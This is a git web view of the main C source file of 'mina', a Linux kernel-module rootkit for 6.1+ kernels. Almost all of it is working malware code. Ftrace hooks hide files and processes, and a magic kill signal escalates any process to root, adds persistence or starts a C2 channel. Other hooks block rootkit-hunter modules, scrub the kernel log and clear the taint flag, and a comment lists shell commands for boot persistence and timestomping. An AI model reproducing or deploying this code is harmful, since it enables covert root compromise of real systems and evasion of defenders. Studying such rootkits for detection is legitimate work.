mina.ko~ (wip)LKM rootkit for 6.1+ kernels |
| git clone https://github.com/djnnvx/mina.ko.git |
| log | files | refs | archive | README | LICENSE |
mina.c (13612B)
1 #include <linux/cred.h> // For prepare_creds, commit_creds 2 #include <linux/dcache.h> // For d_path 3 #include <linux/delay.h> 4 #include <linux/fs.h> 5 #include <linux/init.h> 6 #include <linux/kernel.h> 7 #include <linux/kprobes.h> 8 #include <linux/kthread.h> 9 #include <linux/list.h> 10 #include <linux/module.h> 11 #include <linux/string.h> // For strscpy and kstrnstr 12 #include <linux/slab.h> // For kstrdup / kfree 13 #include <linux/err.h> // For -E2BIG checks 14 #include <linux/vmalloc.h> 15 #include <linux/mount.h> // For d_path (might be needed) 16 #include <linux/path.h> // For d_path 17 #include <linux/pid.h> // For find_vpid, pid_task 18 #include <linux/sched.h> // For task_struct 19 #include <linux/slab.h> 20 #include <linux/version.h> 21 22 #include "../includes/mina.h" 23 24 /* NOTE(djnn): 25 26 1. LKM can also be found in /proc/kallsyms.....maybe we need to find its offset & 27 mangle the bytes? 28 29 2. writing the rootkit as a loadable char device would allow it to be registered 30 in `/dev` and then use udev rules for persistence by the dropper. 31 We could also hook a launch script of another device node to insert 32 our LKM into the kernel..... 33 34 3. put your module in `/usr/lib/modules` so that it is loaded like so: 35 36 ```bash 37 cp evil.ko /usr/lib/modules/$(uname -r)/kernel/drivers/block/magicstring-evil.ko 38 depmod 39 echo magicstring-evil >/usr/lib/modules-load.d/magicstring-evil.conf 40 ``` 41 42 >the `mtime` on the `/usr/lib/modules-load.d` directory and the directory where 43 you installed the rootkit module will be updated. Aside from putting the name 44 of your evil module into the `modules.dep*` files, the `depmod` command updates 45 the `mtime` on several other files under `/usr/lib/modules*` 46 47 timestomping might be necessary from the dropper 48 => https://righteousit.com/2024/09/04/more-on-ext4-timestamps-and-timestomping 49 50 */ 51 52 MODULE_LICENSE("GPL"); 53 MODULE_AUTHOR("djnn <[email protected]>"); 54 MODULE_DESCRIPTION("mina ily^-^"); 55 MODULE_VERSION("0.0.1"); 56 57 /* 58 * mina rootkit 59 * written by djnn (https://djnn.sh) with the help of friendly rootkit researchers:) 60 * 61 * Join here: https://discord.gg/66N5ZQppU7 62 */ 63 64 /* ------============= STRUCTS ==============----- */ 65 typedef struct mina_settings { 66 int enable_file_hide; 67 int enable_dir_hide; 68 } settings_t; 69 70 settings_t settings = { 71 .enable_file_hide = 0, 72 .enable_dir_hide = 0}; 73 74 /* ------============= MODULE BLOCKLIST ==============----- */ 75 76 // MODULE_NAME_LEN is typically defined in linux/module.h 77 struct blocked_module { 78 char name[MODULE_NAME_LEN]; 79 struct list_head list; 80 }; 81 LIST_HEAD(blocked_modules); 82 83 void add_blocked_module(const char *name) { 84 struct blocked_module *bm; 85 size_t len = strnlen(name, MODULE_NAME_LEN - 1); 86 87 list_for_each_entry(bm, &blocked_modules, list) { 88 if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) { 89 return; 90 } 91 } 92 93 bm = kmalloc(sizeof(*bm), GFP_KERNEL); 94 if (!bm) { 95 printk(KERN_ERR "[mina] Failed to allocate memory for blocked module.\n"); 96 return; 97 } 98 strscpy(bm->name, name, len + 1); 99 list_add(&bm->list, &blocked_modules); 100 printk(KERN_INFO "[mina] Blocked module: %s\n", name); 101 } 102 103 void remove_blocked_module(const char *name) { 104 struct blocked_module *bm, *tmp; 105 list_for_each_entry_safe(bm, tmp, &blocked_modules, list) { 106 if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) { 107 list_del(&bm->list); 108 kfree(bm); 109 printk(KERN_INFO "[mina] Unblocked module: %s\n", name); 110 return; 111 } 112 } 113 } 114 115 bool is_module_blocked(const char *name) { 116 struct blocked_module *bm; 117 list_for_each_entry(bm, &blocked_modules, list) { 118 if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) { 119 return true; 120 } 121 } 122 return false; 123 } 124 125 static char *get_modname_from_buf(const char __user *buf, size_t buf_len) { 126 char *kbuf; 127 char *modname = NULL; 128 char *p; 129 130 if (!buf || buf_len == 0) 131 return NULL; 132 133 kbuf = vmalloc(buf_len); 134 if (!kbuf) 135 return NULL; 136 137 if (copy_from_user(kbuf, buf, buf_len)) { 138 vfree(kbuf); 139 return NULL; 140 } 141 142 p = strnstr(kbuf, "name=", buf_len); 143 if (p) { 144 p += strlen("name="); 145 modname = (char *)kstrdup_const(p, GFP_KERNEL); 146 if (modname) { 147 char *end = strchr(modname, ' '); 148 if (end) 149 *end = '\0'; 150 end = strchr(modname, '\n'); 151 if (end) 152 *end = '\0'; 153 } 154 } 155 156 vfree(kbuf); 157 return modname; 158 } 159 160 /* ------============= HOOKS ==============----- */ 161 162 #include "../includes/ftrace_helper.h" 163 164 /* ------=== DIR HOOK ===----- */ 165 166 static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char *name, int namlen, 167 loff_t offset, u64 ino, unsigned int d_type); 168 static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen, 169 loff_t offset, u64 ino, unsigned int d_type) { 170 long parsed_pid; 171 char *tmp_name = NULL; 172 173 if (strstr(name, HIDE_PREFIX) != NULL && settings.enable_file_hide) 174 return true; 175 176 if (namlen > 0 && name[0] >= '0' && name[0] <= '9') { // Potential PID 177 tmp_name = kmalloc(namlen + 1, GFP_KERNEL); 178 if (!tmp_name) { 179 goto call_original; 180 } 181 strscpy(tmp_name, name, namlen + 1); 182 183 if (kstrtol(tmp_name, 10, &parsed_pid) == 0) { 184 if (parsed_pid > 0) { 185 kfree(tmp_name); 186 if (pid_lookup_hidelist((pid_t)parsed_pid)) { 187 return true; 188 } 189 } else { 190 kfree(tmp_name); 191 } 192 } else { 193 kfree(tmp_name); 194 } 195 } 196 197 call_original: 198 return original_filldir64(ctx, name, namlen, offset, ino, d_type); 199 } 200 201 /* ------=== KILL HOOK ===----- */ 202 203 static asmlinkage long (*original_kill)(const struct pt_regs *); 204 asmlinkage long hooked_kill_syscall(struct pt_regs *regs) { 205 int signal = regs->si; 206 int pid = regs->di; 207 208 if (pid != MAGIC_PID) 209 goto normalkill; 210 211 switch (signal) { 212 case PERSISTENCE_CODE: 213 return add_inittab_entry(PERSISTENCE_TAB_ENTRY); 214 215 case TOGGLE_HIDE_CODE: 216 toggle_hide_module(); 217 return 0; 218 219 case TOGGLE_FILEHIDE_CODE: 220 settings.enable_file_hide = (!settings.enable_file_hide); 221 return 0; 222 223 case SIG_HIDE_PID: 224 pid_hide(pid); 225 return 0; 226 227 case SIG_UNHIDE_PID: 228 pid_unhide(pid); 229 return 0; 230 231 case SIG_ESCALATE: { 232 struct task_struct *task; 233 struct cred *new_creds; 234 235 { 236 struct pid *pid_struct = find_vpid(pid); 237 task = pid_struct ? pid_task(pid_struct, PIDTYPE_PID) : NULL; 238 } 239 if (!task) { 240 printk(KERN_ERR "[mina] Task %d not found for escalation.\n", pid); 241 return -ESRCH; 242 } 243 244 new_creds = prepare_creds(); 245 if (!new_creds) { 246 printk(KERN_ERR "[mina] Failed to prepare credentials.\n"); 247 return -ENOMEM; 248 } 249 250 new_creds->uid.val = new_creds->gid.val = 0; 251 new_creds->euid.val = new_creds->egid.val = 0; 252 new_creds->suid.val = new_creds->sgid.val = 0; 253 new_creds->fsuid.val = new_creds->fsgid.val = 0; 254 // Capabilities are usually handled by cap_set_full, but for simplicity zeroing out for now 255 // A more robust rootkit would manage capabilities carefully. 256 cap_clear(new_creds->cap_effective); 257 cap_clear(new_creds->cap_inheritable); 258 cap_clear(new_creds->cap_permitted); 259 260 commit_creds(new_creds); 261 printk(KERN_INFO "[mina] Task %d escalated to root.\n", pid); 262 return 0; 263 } 264 265 case SIG_START_C2: 266 c2_init(); 267 return 0; 268 } 269 270 normalkill: 271 return original_kill(regs); 272 } 273 274 /* ------=== INSMOD HOOK ===----- */ 275 276 static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags); 277 static asmlinkage long (*original_finit_module)(struct file *file, const char *uargs, unsigned long flags); 278 279 static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) { 280 char *modname = NULL; 281 long ret = 0; 282 283 // In some kernel versions, uargs contains module parameters 284 // In others, it's a pointer to the module image. 285 // For simplicity, we assume uargs can be partially scanned for name. 286 // This part is heuristic and might need adjustment for specific kernel versions. 287 if (uargs) { 288 modname = get_modname_from_buf(uargs, PAGE_SIZE); // Scan first PAGE_SIZE for name 289 if (modname) { 290 if (is_module_blocked(modname)) { 291 printk(KERN_INFO "[mina] Blocked attempt to load module: %s\n", modname); 292 ret = -EPERM; 293 } 294 kfree(modname); 295 } 296 } 297 298 if (ret != 0) { 299 return ret; 300 } 301 302 return original_init_module(file, uargs, flags); 303 } 304 305 static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) { 306 long ret = 0; 307 char *path_buf = NULL; 308 const char *filename_ptr; 309 char *modname_no_ext = NULL; 310 311 if (!file || !file->f_path.dentry) { 312 goto call_original; 313 } 314 315 path_buf = kmalloc(PATH_MAX, GFP_KERNEL); 316 if (!path_buf) { 317 ret = -ENOMEM; 318 goto out; 319 } 320 321 filename_ptr = d_path(&file->f_path, path_buf, PATH_MAX); 322 323 if (!IS_ERR(filename_ptr)) { 324 char *last_slash = strrchr(filename_ptr, '/'); 325 const char *base_filename = last_slash ? last_slash + 1 : filename_ptr; 326 327 modname_no_ext = (char *)kstrdup_const(base_filename, GFP_KERNEL); 328 if (modname_no_ext) { 329 char *dot_ko = strrchr(modname_no_ext, '.'); 330 if (dot_ko && strcmp(dot_ko, ".ko") == 0) { 331 *dot_ko = '\0'; 332 } 333 334 if (is_module_blocked(modname_no_ext)) { 335 printk(KERN_INFO "[mina] Blocked attempt to load module (VFS): %s\n", modname_no_ext); 336 ret = -EPERM; 337 } 338 kfree(modname_no_ext); 339 } 340 } else { 341 printk(KERN_ERR "[mina] Error getting path for module: %ld\n", PTR_ERR(filename_ptr)); 342 } 343 344 out: 345 kfree(path_buf); 346 if (ret != 0) { 347 return ret; 348 } 349 350 call_original: 351 return original_finit_module(file, uargs, flags); 352 } 353 354 // Hook for printk to filter rootkit messages 355 static asmlinkage int (*original_vprintk_store)(int facility, int level, 356 const char *fmt, va_list args); 357 358 static asmlinkage int hook_vprintk_store(int facility, int level, 359 const char *fmt, va_list args) { 360 char buf[256]; 361 int len; 362 363 va_list args_copy; 364 va_copy(args_copy, args); 365 366 len = vsnprintf(buf, sizeof(buf), fmt, args_copy); 367 va_end(args_copy); 368 369 if (len > 0) { 370 if (strstr(buf, "[mina]") || strstr(buf, "mina is cute") || strstr(buf, "bye-bye mina")) { 371 return len; 372 } 373 } 374 return original_vprintk_store(facility, level, fmt, args); 375 } 376 377 /* ------=== HOOKS DEFINITIONS ===----- */ 378 379 static struct ftrace_hook hooks[] = { 380 HOOK("filldir64", hook_filldir64, &original_filldir64), /* hide files (& directories) */ 381 HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill), /* receive commands from machine */ 382 HOOK("__x64_sys_init_module", hook_init_module, &original_init_module), /* hide from rootkit hunters */ 383 HOOK("__x64_sys_finit_module", hook_finit_module, &original_finit_module), /* hide from rootkit hunters */ 384 HOOK("vprintk_store", hook_vprintk_store, &original_vprintk_store), /* hide rootkit messages from kernel log */ 385 }; 386 387 /* --------------------------------------------- */ 388 /* ------======= Reset taint marker =======----- */ 389 390 /* FIXME(djnn): this trick does not prevent the message from appearing in "journalctl -k". */ 391 392 static struct task_struct *cleaner_thread = NULL; 393 static unsigned long *taint_mask_ptr = NULL; 394 395 void reset_taint_mask(void) { 396 if (taint_mask_ptr && *taint_mask_ptr != 0) { 397 *taint_mask_ptr = 0; 398 } 399 } 400 401 /* --------------------------------------------- */ 402 /* ------====== start / end routines ======----- */ 403 404 static int __init module_start(void) { 405 int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 406 if (error) { 407 return error; 408 } 409 410 error = cmd_init(); 411 if (error) { 412 printk(KERN_ERR "[mina] Failed to initialize command channel.\n"); 413 return error; 414 } 415 416 417 418 error = c2_init(); 419 if (error) { 420 printk(KERN_ERR "[mina] Failed to initialize C2 channel.\n"); 421 return error; 422 } 423 424 taint_mask_ptr = get_taint_mask_address(); 425 if (!taint_mask_ptr) { 426 printk(KERN_ERR "[mina] Could not get tainted_mask address.\n"); 427 return -EFAULT; 428 } 429 430 reset_taint_mask(); 431 cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME); 432 if (IS_ERR(cleaner_thread)) { 433 printk(KERN_ERR "[mina] Failed to start tainted_mask cleaner thread.\n"); 434 return PTR_ERR(cleaner_thread); 435 } 436 437 printk(KERN_INFO "mina is cute ~\n"); 438 return 0; 439 } 440 441 static void __exit module_end(void) { 442 if (cleaner_thread) { 443 kthread_stop(cleaner_thread); 444 reset_taint_mask(); 445 } 446 447 cmd_cleanup(); 448 449 450 c2_cleanup(); 451 452 fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 453 } 454 455 /* --------------------------------------------- */ 456 457 module_init(module_start); 458 module_exit(module_end);